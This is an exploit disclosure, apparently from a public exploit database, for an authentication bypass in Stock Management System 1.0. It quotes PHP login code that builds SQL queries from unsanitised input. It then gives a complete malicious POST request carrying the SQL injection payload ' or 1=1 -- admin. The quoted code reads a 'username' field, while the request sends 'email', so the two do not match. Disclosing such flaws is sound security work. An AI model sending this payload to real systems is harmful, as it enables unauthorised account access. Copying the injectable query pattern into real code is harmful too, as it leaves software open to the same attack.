Stock Management System 1.0 - Authentication Bypass

# Exploit Title: Stock Management System 1.0 - Authentication Bypass
# Exploit Author: Adeeb Shah (@hyd3sec)
# Date: August 1, 2020
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14366/stock-management-system-php.html
# Version: 1.0
# Tested On: Windows 10 (x64_86) + XAMPP 7.4.4

# Vulnerable Source Code


if($_POST) {		

	$username = $_POST['username'];
	$password = $_POST['password'];

	if(empty($username) || empty($password)) {
		if($username == "") {
			$errors[] = "Username is required";
		} 

		if($password == "") {
			$errors[] = "Password is required";
		}
	} else {
		$sql = "SELECT * FROM users WHERE username = '$username'";
		$result = $connect->query($sql);

		if($result->num_rows == 1) {
			$password = md5($password);
			// exists
			$mainSql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
			$mainResult = $connect->query($mainSql);

			if($mainResult->num_rows == 1) {
				$value = $mainResult->fetch_assoc();
				$user_id = $value['user_id'];

				// set session
				$_SESSION['userId'] = $user_id;

				header('location: http://localhost/stock/dashboard.php');	
			} else{
				
				$errors[] = "Incorrect username/password combination";
			} // /else
		} else {		
			$errors[] = "Username doesnot exists";		
		} // /else
	} // /else not empty username // password
	
} // /if $_POST
?>


# Malicious POST Request to https://TARGET/stock/index.php HTTP/1.1
POST /stock/index.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.222.132/stock/
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
DNT: 1
Connection: close
Cookie: PHPSESSID=j3j54s5keclr8ol2ou4f9b518s
Upgrade-Insecure-Requests: 1

email='+or+1%3d1+--+admin&password=badPass